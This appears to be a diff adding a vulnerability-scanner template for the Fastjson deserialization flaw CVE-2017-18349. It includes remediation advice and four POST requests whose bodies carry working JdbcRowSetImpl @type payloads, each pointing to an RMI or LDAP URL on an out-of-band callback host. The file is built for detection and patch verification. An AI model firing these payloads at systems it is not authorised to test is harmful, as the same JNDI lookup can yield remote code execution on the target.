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| 1 | +id: CVE-2017-18349 |
| 2 | + |
| 3 | +info: |
| 4 | + name: Fastjson Insecure Deserialization - Remote Code Execution |
| 5 | + author: night |
| 6 | + severity: critical |
| 7 | + description: | |
| 8 | + Fastjson before 1.2.25 contains a remote code execution vulnerability in parseObject method. |
| 9 | + The vulnerability allows remote attackers to execute arbitrary code via crafted JSON requests |
| 10 | + containing malicious @type annotations that trigger unsafe deserialization of JdbcRowSetImpl. |
| 11 | + This affects FastjsonEngine in Pippo 1.11.0 and other products using vulnerable Fastjson versions. |
| 12 | + impact: | |
| 13 | + Successful exploitation allows complete system compromise through remote code execution, |
| 14 | + enabling attackers to execute arbitrary commands, access sensitive data, and establish |
| 15 | + persistent backdoors on the target system. |
| 16 | + remediation: | |
| 17 | + Update Fastjson to version 1.2.25 or later which includes security patches for this vulnerability. |
| 18 | + Implement additional security measures: disable autotype functionality by setting fastjson.parser.autoTypeSupport=false, |
| 19 | + implement strict whitelist filtering for @type annotations, validate and sanitize all JSON input, |
| 20 | + use Web Application Firewalls (WAF) to filter malicious requests, and regularly audit dependencies |
| 21 | + for known vulnerabilities. Consider migrating to safer JSON parsing libraries like Jackson with |
| 22 | + secure configurations. |
| 23 | + reference: |
| 24 | + - https://nvd.nist.gov/vuln/detail/CVE-2017-18349 |
| 25 | + - https://github.com/alibaba/fastjson/wiki/security_update_20170315 |
| 26 | + - https://github.com/pippo-java/pippo/issues/466 |
| 27 | + - https://github.com/h0cksr/Fastjson--CVE-2017-18349- |
| 28 | + - https://fortiguard.com/encyclopedia/ips/44059 |
| 29 | + - https://www.exploit-db.com/exploits/45983 |
| 30 | + classification: |
| 31 | + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| 32 | + cvss-score: 9.8 |
| 33 | + cve-id: CVE-2017-18349 |
| 34 | + cwe-id: CWE-502 |
| 35 | + cpe: cpe:2.3:a:alibaba:fastjson:*:*:*:*:*:*:*:* |
| 36 | + epss-score: 0.97435 |
| 37 | + epss-percentile: 0.99951 |
| 38 | + metadata: |
| 39 | + verified: true |
| 40 | + max-request: 4 |
| 41 | + vendor: alibaba |
| 42 | + product: fastjson |
| 43 | + tags: cve,cve2017,fastjson,deserialization,rce,critical,intrusive |
| 44 | + |
| 45 | +variables: |
| 46 | + rmi_payload: "rmi://{{interactsh-url}}/{{randstr}}" |
| 47 | + ldap_payload: "ldap://{{interactsh-url}}/{{randstr}}" |
| 48 | + |
| 49 | +http: |
| 50 | + - method: POST |
| 51 | + path: |
| 52 | + - "{{BaseURL}}/json" |
| 53 | + - "{{BaseURL}}/api/json" |
| 54 | + |
| 55 | + headers: |
| 56 | + Content-Type: application/json |
| 57 | + Accept: application/json |
| 58 | + User-Agent: "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:139.0) Gecko/20100101 Firefox/139.0" |
| 59 | + |
| 60 | + body: | |
| 61 | + { |
| 62 | + "@type": "com.sun.rowset.JdbcRowSetImpl", |
| 63 | + "dataSourceName": "{{rmi_payload}}", |
| 64 | + "autoCommit": true |
| 65 | + } |
| 66 | +
|
| 67 | + stop-at-first-match: true |
| 68 | + |
| 69 | + matchers: |
| 70 | + - type: word |
| 71 | + part: interactsh_protocol |
| 72 | + words: |
| 73 | + - "dns" |
| 74 | + - "http" |
| 75 | + |
| 76 | + extractors: |
| 77 | + - type: kval |
| 78 | + kval: |
| 79 | + - interactsh_ip |
| 80 | + - interactsh_request |
| 81 | + |
| 82 | + - method: POST |
| 83 | + path: |
| 84 | + - "{{BaseURL}}/json" |
| 85 | + - "{{BaseURL}}/api/json" |
| 86 | + - "{{BaseURL}}/parse" |
| 87 | + - "{{BaseURL}}/deserialize" |
| 88 | + |
| 89 | + headers: |
| 90 | + Content-Type: application/json |
| 91 | + Accept: application/json |
| 92 | + User-Agent: "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:139.0) Gecko/20100101 Firefox/139.0" |
| 93 | + |
| 94 | + body: | |
| 95 | + { |
| 96 | + "@type": "com.sun.rowset.JdbcRowSetImpl", |
| 97 | + "dataSourceName": "{{ldap_payload}}", |
| 98 | + "autoCommit": true |
| 99 | + } |
| 100 | +
|
| 101 | + matchers: |
| 102 | + - type: word |
| 103 | + part: interactsh_protocol |
| 104 | + words: |
| 105 | + - "dns" |
| 106 | + - "http" |
| 107 | + |
| 108 | + extractors: |
| 109 | + - type: kval |
| 110 | + kval: |
| 111 | + - interactsh_ip |
| 112 | + - interactsh_request |
| 113 | + |
| 114 | + - method: POST |
| 115 | + path: |
| 116 | + - "{{BaseURL}}/json" |
| 117 | + - "{{BaseURL}}/api/json" |
| 118 | + - "{{BaseURL}}/parse" |
| 119 | + - "{{BaseURL}}/deserialize" |
| 120 | + |
| 121 | + headers: |
| 122 | + Content-Type: application/json |
| 123 | + Accept: application/json |
| 124 | + User-Agent: "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:139.0) Gecko/20100101 Firefox/139.0" |
| 125 | + |
| 126 | + body: | |
| 127 | + { |
| 128 | + "data": { |
| 129 | + "@type": "com.sun.rowset.JdbcRowSetImpl", |
| 130 | + "dataSourceName": "{{rmi_payload}}", |
| 131 | + "autoCommit": true |
| 132 | + } |
| 133 | + } |
| 134 | +
|
| 135 | + matchers: |
| 136 | + - type: word |
| 137 | + part: interactsh_protocol |
| 138 | + words: |
| 139 | + - "dns" |
| 140 | + - "http" |
| 141 | + |
| 142 | + extractors: |
| 143 | + - type: kval |
| 144 | + kval: |
| 145 | + - interactsh_ip |
| 146 | + - interactsh_request |
| 147 | + |
| 148 | + - method: POST |
| 149 | + path: |
| 150 | + - "{{BaseURL}}/json" |
| 151 | + |
| 152 | + headers: |
| 153 | + Content-Type: application/json |
| 154 | + Accept: application/json |
| 155 | + User-Agent: "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:139.0) Gecko/20100101 Firefox/139.0" |
| 156 | + |
| 157 | + body: | |
| 158 | + { |
| 159 | + "b": { |
| 160 | + "@type": "com.sun.rowset.JdbcRowSetImpl", |
| 161 | + "dataSourceName": "{{ldap_payload}}", |
| 162 | + "autoCommit": true |
| 163 | + } |
| 164 | + } |
| 165 | +
|
| 166 | + matchers: |
| 167 | + - type: word |
| 168 | + part: interactsh_protocol |
| 169 | + words: |
| 170 | + - "dns" |
| 171 | + - "http" |
| 172 | + |
| 173 | + extractors: |
| 174 | + - type: kval |
| 175 | + kval: |
| 176 | + - interactsh_ip |
| 177 | + - interactsh_request |
| 178 | + |
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